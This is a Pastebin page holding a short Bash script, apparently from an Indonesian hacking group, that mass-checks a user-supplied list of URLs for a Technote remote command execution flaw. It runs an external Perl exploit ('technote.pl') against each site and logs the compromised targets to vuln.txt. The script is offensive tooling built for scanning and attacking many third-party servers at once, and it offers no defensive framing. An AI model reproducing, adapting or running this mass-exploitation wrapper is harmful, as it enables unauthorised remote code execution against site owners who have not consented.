Advertisement
ccocot

p3ler.sh

Apr 13th, 2017
707
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.15 KB | None | 0 0
  1. #!/usr/bin/env bash
  2. #POWERED BY NAONLAH.NET - BUDAKJALANAN
  3.  
  4. #color
  5. cyan='\e[0;36m'
  6. green='\e[0;34m'
  7. okegreen='\033[92m'
  8. lightgreen='\e[1;32m'
  9. white='\e[1;37m'
  10. red='\e[1;31m'
  11. yellow='\e[1;33m'
  12. BlueF='\e[1;34m'
  13. Default='\e[39m'
  14.  
  15. #FORMATING
  16. Bold='\e[1m'
  17. Dim='\e[2m'
  18. Underline='\e[4m'
  19. Blink='\e[5m'
  20. Inveterted='\e[7m'
  21.  
  22. #clear all formating
  23. crotclear='\e[0m'
  24.  
  25. ##MAIN
  26. clear
  27. echo -e $Bold"-==[MASS Check Technote Remote Command Excute - "$lightgreen"BC0DE.NET&NAONLAH.NET"$crotclear$Bold"]==-"$crotclear
  28. echo -n "Masukan Nama File List : "; read listname
  29. echo $[$(wc -l < $listname)+1] Line on $listname
  30. echo
  31. i=0
  32. for url in $(cat $listname); do
  33.     i=$[i+1]
  34.     ngecheck_vuln=$(timeout 10 perl technote.pl $url 2> /dev/null)
  35.     if [[ $ngecheck_vuln =~ 'EXPLOITADO SUCCESSFULLY!' ]] ; then
  36.         echo -e $i".URL : "$Bold$lightgreen$url$crotclear
  37.         echo -e "Status : "$Bold$lightgreen"VULN"$crotclear
  38.         echo $url >> vuln.txt
  39.         echo
  40.     else
  41.         echo -e $i".URL : "$Bold$red$url$crotclear
  42.         echo -e "Status : "$Bold$red"Not Vuln / timeout(10)"$crotclear
  43.         echo $url >> notvuln.txt
  44.         echo
  45.     fi
  46. done
  47. echo "vuln >> vuln.txt"
  48. echo "not vuln / timeout >> notvuln.txt"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement